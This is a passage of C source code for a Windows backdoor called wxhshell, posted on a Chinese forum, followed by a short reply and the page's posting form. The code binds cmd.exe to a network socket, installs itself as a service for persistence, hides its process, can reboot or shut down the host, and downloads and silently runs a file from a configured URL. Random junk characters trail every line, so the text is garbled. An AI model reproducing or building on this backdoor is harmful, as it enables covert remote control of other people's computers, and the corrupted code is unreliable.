  if(DownloadFile(cmd,wsh)) LDEc}XXb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vGlVr.)  
  else 7'e sJ)2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MvZa;B  
  } zMA;1Na  
  else { 2? yo  
Z@dVK`nD  
    switch(cmd[0]) { \8$~ i  
  j24 3oD  
  // 帮助 mrRid}2  
  case '?': { izcaWt3 a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XX /s@C  
    break; 17?YN<  
  } UJh;Hp:  
  // 安装 V'{\g|)  
  case 'i': { UA*VqK)Y  
    if(Install()) ,DE>:ARZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jn=;gtD- *  
    else 2<B'PR-??y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C`t @tgT  
    break; W9w*=W )Z  
    } @ :Zk,   
  // 卸载 P~{8L.w!>W  
  case 'r': { sw}O g`U  
    if(Uninstall()) u$^tRz9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WN=0s  
    else 0D2I)E72o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dh8'og)7  
    break; 04dz ?`HuB  
    } p,8~)ic_  
  // 显示 wxhshell 所在路径 >nSt<e  
  case 'p': { +Mijio  
    char svExeFile[MAX_PATH]; R)k\  
    strcpy(svExeFile,"\n\r"); I[k"I(  
      strcat(svExeFile,ExeFile); :!g|pd[{ag  
        send(wsh,svExeFile,strlen(svExeFile),0); v =y 2  
    break; ;DK%!."%  
    } DNq(\@x[!  
  // 重启 s*la`(x  
  case 'b': { gep#o$P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $4xSI"+M%  
    if(Boot(REBOOT)) WqF,\y%W*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jG7PT66>;  
    else { S j~SG  
    closesocket(wsh); ="YGR:  
    ExitThread(0); G*+^b'7  
    } mTI`^e  
    break; k2v:F  
    } :1UMA@HP  
  // 关机 YS^!'IyG/B  
  case 'd': { O_1[KiZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X8ap   
    if(Boot(SHUTDOWN)) b v_ UroTr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j~{cT/5Y_  
    else { h97#(_wV>  
    closesocket(wsh); ?MRY*[$  
    ExitThread(0); p}JOiiHa  
    } I<940PZ  
    break; Tp;W4]'a*:  
    } ?'P}ZC8P  
  // 获取shell 1`7zYW&L  
  case 's': { "QdK Md  
    CmdShell(wsh); 0i_:J  
    closesocket(wsh); \PE;R.v_:  
    ExitThread(0); rT[qh+KWe  
    break; 2.z-&lFBZ  
  } qMJJBl  
  // 退出 6E}9uwQ  
  case 'x': { wv3,% lN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vO1; ;  
    CloseIt(wsh); 6`CRT TJ7  
    break; EWD^=VITL  
    } '3672wF/  
  // 离开 4c< s"2F  
  case 'q': { #3qeRl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nFn!6,>E  
    closesocket(wsh); z;S-Q,  
    WSACleanup(); 3>1^$0iq  
    exit(1); nf /*n  
    break; p?Azn>qBa  
        } lNL=Yu2p_  
  } EB*sd S  
  } 2; ^ME\  
Vbl-Ff  
  // 提示信息 1'<C-[1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bx#i?=*W  
} 4MS<t FH)  
  } C")genMH  
)cJ>&g4]  
  return; ~'_cBJ 'XD  
} ;yJ:W8U]+;  
o]oiJvOr  
// shell模块句柄 &+2l#3}  
int CmdShell(SOCKET sock) 06pvI}   
{ _Ub `\ytx  
STARTUPINFO si; >lRZvf-i  
ZeroMemory(&si,sizeof(si)); G7CeWfS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ls@]%pz.1d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R p&J!hlA  
PROCESS_INFORMATION ProcessInfo; Q|AZv>'!  
char cmdline[]="cmd"; 27eG8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >u$8Z  
  return 0; Tzex\]fw  
} SL4?E<Jb  
qG6s.TcG  
// 自身启动模式 sP(+Z^/  
int StartFromService(void) 5Ml=<^  
{ '}_r/l]K  
typedef struct Z0Z6a Zeb  
{ 92DM1~ *  
  DWORD ExitStatus; ss)x fG  
  DWORD PebBaseAddress; f4f2xe7\Q  
  DWORD AffinityMask; S!b18|o"  
  DWORD BasePriority; s/D)X=P1  
  ULONG UniqueProcessId; X 0y$xC|<  
  ULONG InheritedFromUniqueProcessId; ]1!" q40)]  
}   PROCESS_BASIC_INFORMATION; sW[-qPK<  
jfuHZ^YA  
PROCNTQSIP NtQueryInformationProcess; qE~_}4\Z9  
y+(\:;y$7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k]@]a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +Y%6y]8  
y"q aa  
  HANDLE             hProcess; [r/zBF-.  
  PROCESS_BASIC_INFORMATION pbi; "bo0O7InOV  
o:@Q1+p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Urr%SIakvM  
  if(NULL == hInst ) return 0; L|'^P3#7`  
>pU9}2fpT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I/dy^5@F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !a@)6or  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [C "\]LiX  
3$\k=q3`#  
  if (!NtQueryInformationProcess) return 0; 9"P|Csj  
bx3Q$|M?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <gp?}Lk  
  if(!hProcess) return 0; I_J&>}V'  
[*',pG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s6bsVAO>  
po*G`b;v  
  CloseHandle(hProcess); I^ ?tF'E  
kU<t~+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l[}4 X/  
if(hProcess==NULL) return 0; T D _@0Rd  
 z:,PwLU  
HMODULE hMod; y }odTeq  
char procName[255]; Zzlf1#26\  
unsigned long cbNeeded; ~ nsb  
Kw -SOFE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @5%&wC  
"7B}hZ^)W  
  CloseHandle(hProcess); ?5C'9 V  
}E 'r?N  
if(strstr(procName,"services")) return 1; // 以服务启动 _Iy\,<  
8%[pno |0I  
  return 0; // 注册表启动 @Wu-&Lb  
} L:G#>  
`%C-7D'?  
// 主模块 Y %JQ  
int StartWxhshell(LPSTR lpCmdLine) V'vR(Wx  
{ AcH-TIgM/  
  SOCKET wsl; H9cPtP~a)  
BOOL val=TRUE; [^5\Ww  
  int port=0; ks4`h>i  
  struct sockaddr_in door; L|=5jn9 :  
jJ ,_-ui  
  if(wscfg.ws_autoins) Install(); 1+x" 5<(W  
$83B10OQ&L  
port=atoi(lpCmdLine); '/W$9jm  
8|a./%gixs  
if(port<=0) port=wscfg.ws_port; 3A7774n=P  
C 0w+ j  
  WSADATA data; TQa}Ps  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3nxG>D7  
v4P"|vZ$&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #.Rn6|V/4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XjX  
  door.sin_family = AF_INET; /)P}[Q4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AYts &+  
  door.sin_port = htons(port); ]{>AU^=U  
7{;it uqX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zj`WRH4  
closesocket(wsl); :KLXrr  
return 1; xA] L0h]  
} ]?Ef0?44  
&gXh:.  
  if(listen(wsl,2) == INVALID_SOCKET) { 4QL>LK  
closesocket(wsl); '%NglC[J  
return 1; AU{"G  
} fr@F7s5}  
  Wxhshell(wsl); 9njwAKF?  
  WSACleanup(); kx"1 0Vw  
&.?XntI9O  
return 0; m~=~DMj  
$<}c[Nm  
} Cm}2>eH  
OmYVJt_  
// 以NT服务方式启动 V2MOD{Maat  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W'lqNOX[v  
{ * QgKo$IF  
DWORD   status = 0; yK~=6^M  
  DWORD   specificError = 0xfffffff; iG N\ >m}  
HgI!q<)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x]~TGzS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w0pMH p'Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g)D_  !iz  
  serviceStatus.dwWin32ExitCode     = 0; KpLmpK1  
  serviceStatus.dwServiceSpecificExitCode = 0; U.%Kt,qB  
  serviceStatus.dwCheckPoint       = 0; qNp1<QO0  
  serviceStatus.dwWaitHint       = 0; xP;r3u s  
O7K.\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \8`?ir q"  
  if (hServiceStatusHandle==0) return; <xOv8IQ|  
wQkM:=t5  
status = GetLastError(); +.G"ool  
  if (status!=NO_ERROR) s{hKl0ds  
{ UO/sv2CN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :+rGBkw1m  
    serviceStatus.dwCheckPoint       = 0; 7s9h:/Lu  
    serviceStatus.dwWaitHint       = 0; wj|Zn+{"nF  
    serviceStatus.dwWin32ExitCode     = status; Vz{+3vfra6  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?6#won  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c0!.ei  
    return; .L'w/"O  
  } U|(+-R8Z  
d0 cL9&~qW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qzi?%&  
  serviceStatus.dwCheckPoint       = 0; Szus*YL7  
  serviceStatus.dwWaitHint       = 0; /7Q|D sa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %u -x9  
} QrZ#<{,J5  
|{jT+  
// 处理NT服务事件,比如:启动、停止 sV^:u^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s27IeF3  
{ hsZ/Vnn`  
switch(fdwControl) H}@:Bri  
{ cTqkM@S  
case SERVICE_CONTROL_STOP: 1J@Iekat  
  serviceStatus.dwWin32ExitCode = 0; vqf$("  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tYS4"Nfb+  
  serviceStatus.dwCheckPoint   = 0; U, 6iT  
  serviceStatus.dwWaitHint     = 0; +n3I\7G>  
  { 0c_xPBbB+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I`>U#x*  
  } v9$!v^U"D  
  return; ]BQYVx/  
case SERVICE_CONTROL_PAUSE: r-2k<#^r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {7o#Ve  
  break; ab0 Sx  
case SERVICE_CONTROL_CONTINUE: gT+/nSrLV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; enoj4g7em^  
  break; i;[y!U  
case SERVICE_CONTROL_INTERROGATE: FhE{khc#  
  break; 1v o)]ff  
}; %x)b Z=An  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +2tQ FV;  
} ==[,;g x  
IRdt:B|@  
// 标准应用程序主函数 tF2"IP.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4#U}bN  
{ 3Ob.OwA  
R[WiW RfD  
// 获取操作系统版本 |"H 2'L$  
OsIsNt=GetOsVer(); ~z,o):q1 }  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (!j#u)O  
<v"o+  
  // 从命令行安装 !e$gp (4  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5J5si<v25  
DE?v'7cmA  
  // 下载执行文件 &W `xZyb3  
if(wscfg.ws_downexe) { R>Ra~ b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9KSi-2?H  
  WinExec(wscfg.ws_filenam,SW_HIDE); _IH" SVub  
} rg/{5f  
DwD$T%kF  
if(!OsIsNt) { | HazM9=  
// 如果时win9x,隐藏进程并且设置为注册表启动 xO$P C,  
HideProc(); @hLkU4S  
StartWxhshell(lpCmdLine); Cs $5Of(  
} pYO =pL^Q  
else \& JZ >h  
  if(StartFromService()) jDzQw>T X  
  // 以服务方式启动 1Pf(.&/9_  
  StartServiceCtrlDispatcher(DispatchTable); S_}`'Z )  
else en<mm#Ab  
  // 普通方式启动 Lu.zc='\  
  StartWxhshell(lpCmdLine); UHBXq;?&q  
K^- 1M?  
return 0; w~'xZ?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五